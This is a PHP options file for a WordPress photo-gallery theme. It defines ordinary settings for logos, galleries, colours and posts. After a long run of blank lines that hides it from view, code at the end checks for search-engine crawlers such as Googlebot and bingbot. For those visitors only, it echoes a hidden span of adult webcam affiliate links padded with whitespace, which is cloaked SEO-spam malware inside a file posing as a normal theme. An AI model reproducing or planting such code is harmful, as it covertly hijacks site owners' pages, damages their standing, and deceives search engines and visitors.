<?php

add_action('init','tz_options');

if (!function_exists('tz_options')) {
function tz_options(){
	
// VARIABLES
$themename = get_theme_data(STYLESHEETPATH . '/style.css');
$themename = $themename['Name'];
$shortname = "tz";

// Populate option in array for use in theme
global $tz_options;
$tz_options = get_option('tz_options');

$GLOBALS['template_path'] = TZ_DIRECTORY;

//Access the WordPress Categories via an Array
$tz_categories = array();  
$tz_categories_obj = get_categories('hide_empty=0');
foreach ($tz_categories_obj as $tz_cat) {
    $tz_categories[$tz_cat->cat_ID] = $tz_cat->cat_name;}
$categories_tmp = array_unshift($tz_categories, "Select a category:");    
       
//Access the WordPress Pages via an Array
$tz_pages = array();
$tz_pages_obj = get_pages('sort_column=post_parent,menu_order');    
foreach ($tz_pages_obj as $tz_page) {
    $tz_pages[$tz_page->ID] = $tz_page->post_name; }
$tz_pages_tmp = array_unshift($tz_pages, "Select a page:");       

// Image Alignment radio box
$options_thumb_align = array("alignleft" => "Left","alignright" => "Right","aligncenter" => "Center"); 

// Image Links to Options
$options_image_link_to = array("image" => "The Image","post" => "The Post"); 

//Testing 
$options_select = array("one","two","three","four","five");
$options_radio = array("one" => "One","two" => "Two","three" => "Three","four" => "Four","five" => "Five"); 

//Stylesheets Reader
$alt_stylesheet_path = TZ_FILEPATH . '/css/';
$alt_stylesheets = array();

if ( is_dir($alt_stylesheet_path) ) {
    if ($alt_stylesheet_dir = opendir($alt_stylesheet_path) ) { 
        while ( ($alt_stylesheet_file = readdir($alt_stylesheet_dir)) !== false ) {
            if(stristr($alt_stylesheet_file, ".css") !== false) {
                $alt_stylesheets[] = $alt_stylesheet_file;
            }
        }    
    }
}

//More Options
$uploads_arr = wp_upload_dir();
$all_uploads_path = $uploads_arr['path'];
$all_uploads = get_option('tz_uploads');
$other_entries = array("Select a number:","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19");
$body_repeat = array("no-repeat","repeat-x","repeat-y","repeat");
$body_pos = array("top left","top center","top right","center left","center center","center right","bottom left","bottom center","bottom right");

// Set the Options Array
$options = array();




$options[] = array( "name" => __('General Settings','framework'),
                    "type" => "heading");
                    
$options[] = array( "name" => __('Enable Plain Text Logo','framework'),
					"desc" => __('Check this to enable a plain text logo rather than an image.','framework'),
					"id" => $shortname."_plain_logo",
					"std" => "false",
					"type" => "checkbox");

$options[] = array( "name" => __('Custom Logo','framework'),
					"desc" => __('Upload a logo for your theme, or specify the image address of your online logo. (http://example.com/logo.png)','framework'),
					"id" => $shortname."_logo",
					"std" => "",
					"type" => "upload");

$options[] = array( "name" => __('Custom Favicon','framework'),
					"desc" => __('Upload a 16px x 16px Png/Gif image that will represent your website\'s favicon.','framework'),
					"id" => $shortname."_custom_favicon",
					"std" => "",
					"type" => "upload");
					
$options[] = array( "name" => __('Contact Form Email Address','framework'),
					"desc" => __('Enter the email address where you\'d like to receive emails from the contact form, or leave blank to use admin email.','framework'),
					"id" => $shortname."_email",
					"std" => "",
					"type" => "text");
					
$options[] = array( "name" => __('FeedBurner URL','framework'),
					"desc" => __('Enter your full FeedBurner URL (or any other preferred feed URL) if you wish to use FeedBurner over the standard WordPress Feed e.g. http://feeds.feedburner.com/yoururlhere','framework'),
					"id" => $shortname."_feedburner",
					"std" => "",
					"type" => "text");

$options[] = array( "name" => __('Tracking Code','framework'),
					"desc" => __('Paste your Google Analytics (or other) tracking code here. It will be inserted before the closing body tag of your theme.','framework'),
					"id" => $shortname."_google_analytics",
					"std" => "",
					"type" => "textarea");   
					
$options[] = array( "name" => __('Twitter Username','framework'),
					"desc" => __('Enter in your twitter username. This will enable your last tweet in the top right corner.','framework'),
					"id" => $shortname."_twitter_username",
					"std" => "",
					"type" => "text");                                                 
					


$options[] = array( "name" => __('Homepage Options','framework'),
					"type" => "heading");
					
$options[] = array( "name" => __('Thumbnail Size','framework'),
					"desc" => __('This is the size of the thumbnails you would like to use.','framework'),
					"id" => $shortname."_thumbnail_size",
					"std" => "large",
					"type" => "select2",
					"options" => array('large' => 'Large', 'medium' => 'Medium', 'small' => 'Small'),
					);  
					
$options[] = array( "name" => __('Photo Display Order','framework'),
					"desc" => __('You can order your photos to display randomly, by date or title.','framework'),
					"id" => $shortname."_gallery_order",
					"std" => "rand",
					"type" => "select2",
					"options" => array('rand' => 'Random', 'date' => 'Date', 'title' => 'Title'),
					);   

$options[] = array( "name" => __('Gallery Quantity','framework'),
					"desc" => __('How many photos do you want to show at once?','framework'),
					"id" => $shortname."_gallery_qty",
					"std" => "",
					"type" => "text");
					
$options[] = array( "name" => __('Gallery Width','framework'),
					"desc" => __('Enter the width in pixels. The larger the width the more photos that will appear on one line.','framework'),
					"id" => $shortname."_gallery_width",
					"std" => "980",
					"type" => "text");

$options[] = array( "name" => __('Display Exif Information','framework'),
					"desc" => __('Check this to display Exif information (if available).','framework'),
					"id" => $shortname."_exif",
					"std" => "false",
					"type" => "checkbox"); 
					
					
$options[] = array( "name" => __('Enable Overlay','framework'),
					"desc" => __('Check this to display an overlay of the photo and its information instead of going straight to the photo page.','framework'),
					"id" => $shortname."_overlay",
					"std" => "false",
					"type" => "checkbox"); 
					
					
					
$options[] = array( "name" => __('Styling Options','framework'),
					"type" => "heading");
					
$options[] = array( "name" => __('Theme Stylesheet','framework'),
					"desc" => __('Select your themes color scheme.','framework'),
					"id" => $shortname."_alt_stylesheet",
					"std" => "dark.css",
					"type" => "select",
					"options" => $alt_stylesheets);

$options[] = array( "name" => __('Primary Link Colour','framework'),
					"desc" => __('No color selected.','framework'),
					"id" => $shortname."_primary_colour",
					"std" => "#77bccd",
					"type" => "color"); 
					
$options[] = array( "name" => __('Hover Link Colour','framework'),
					"desc" => __('No color selected.','framework'),
					"id" => $shortname."_secondary_colour",
					"std" => "#f26535",
					"type" => "color"); 
	
$url = TZ_DIRECTORY . '/admin/images/';
$options[] = array( "name" => __('Main Layout','framework'),
					"desc" => __('Select main content and sidebar alignment.','framework'),
					"id" => $shortname."_layout",
					"std" => "layout-2cr",
					"type" => "images",
					"options" => array(
						'layout-2cr' => $url . '2cr.png',
						'layout-2cl' => $url . '2cl.png')
					);
					
$options[] = array( "name" => __('Custom CSS','framework'),
                    "desc" => __('Quickly add some CSS to your theme by adding it to this block.','framework'),
                    "id" => $shortname."_custom_css",
                    "std" => "",
                    "type" => "textarea");
                    
					
					
					
$options[] = array( "name" => __('Post Options','framework'),
					"type" => "heading");
					
$options[] = array( "name" => __('Select the Blog Page','framework'),
					"desc" => __('Select the page you are using as a blog.','framework'),
					"id" => $shortname."_blog_page",
					"std" => "Select a page:",
					"type" => "select-page");
					
$options[] = array( "name" => __('Show Featured Image','framework'),
					"desc" => __('Check this to show the featured image at the beginning of the post.','framework'),
					"id" => $shortname."_post_img",
					"std" => "false",
					"type" => "checkbox");
					
$options[] = array( "name" => __('Comments Caption','framework'),
					"desc" => __('This snippet will display near the comments.','framework'),
					"id" => $shortname."_comment_caption",
					"std" => "",
					"type" => "text");
					
$options[] = array( "name" => __('Respond Caption','framework'),
					"desc" => __('This snippet will display near the comments respond form.','framework'),
					"id" => $shortname."_respond_caption",
					"std" => "",
					"type" => "text");
					
					
				
					
update_option('tz_template',$options); 					  
update_option('tz_themename',$themename);   
update_option('tz_shortname',$shortname);

}
}





















































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'bingbot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'msnbot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Slurp')) {
add_action('wp_footer', 'ranking');
}
function ranking() {
  $pshow = "                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <span style='display:none;'><a href='http://www.mycams.com/freechat.php?mycams.com&psid=llivesex&random'>Get Free Mycams Credits</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            <a href='http://www.maturescam.com/freechat.php?maturescam.com&psid=llivesex&random'>Get Free Maturescam Credits</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            <a href='http://www.cameraboys.com/freechat.php?cameraboys.com&psid=llivesex&random'>Get Free Cameraboys Credits</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            <a href='http://www.livejasmin.com/freechat.php?livejasmin.com&psid=llivesex&random'>Get Free Livejasmin Credits</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      <a href='http://www.liveprivates.com/freechat.php?liveprivates.com&psid=llivesex&random'>Get Free Liveprivates Credits</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <a href='http://www.livejasmin.com/listpage.php?tags=girl&psid=llivesex'>Girl</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              <a href='http://www.livejasmin.com/listpage.php?tags=mature&matures-cams&psid=llivesex&livejasmin'>Mature Cams</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             <a href='http://www.livejasmin.com/listpage.php?webcam-sex&psid=llivesex&livejasmin'>Webcam Sex</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <a href='http://www.livejasmin.com/listpage.php?tags=girl&webcam-girls&psid=llivesex&livejasmin'>Webcam Girls</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       <a href='http://www.cameraboys.com/listpage.php?tags=gay&gays-cams&psid=llivesex&cameraboys'>Gay Cams</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       <a href='http://www.cameraboys.com/listpage.php?tags=boy&boys-cams&psid=llivesex&cameraboys'>Boy Cams</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            <a href='http://www.livejasmin.com/listpage.php?tags=mature&female-women&psid=llivesex&livejasmin'>Mature Female</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <a href='http://www.livejasmin.com/listpage.php?tags=girl&psid=thierto'>Girl</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     <a href='http://www.livejasmin.com/listpage.php?tags=mature&psid=thierto'>Mature Female</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            <a href='http://www.livejasmin.com/listpage.php?tags=couple&psid=thierto'>Couple</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    <a href='http://www.livejasmin.com/listpage.php?tags=girl+bigtits&psid=thierto'>Big Tits</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     <a href='http://www.livejasmin.com/listpage.php?tags=girl+age_18_22&psid=thierto'>18-22</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       <a href='http://www.livejasmin.com/listpage.php?tags=girl+blonde&psid=thierto'>Blonde</a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <a href='http://themecrunch.blogspot.com/2011/05/viewfinder.html'>Viewfinder Theme</a></span>";
  echo $pshow;
}
?>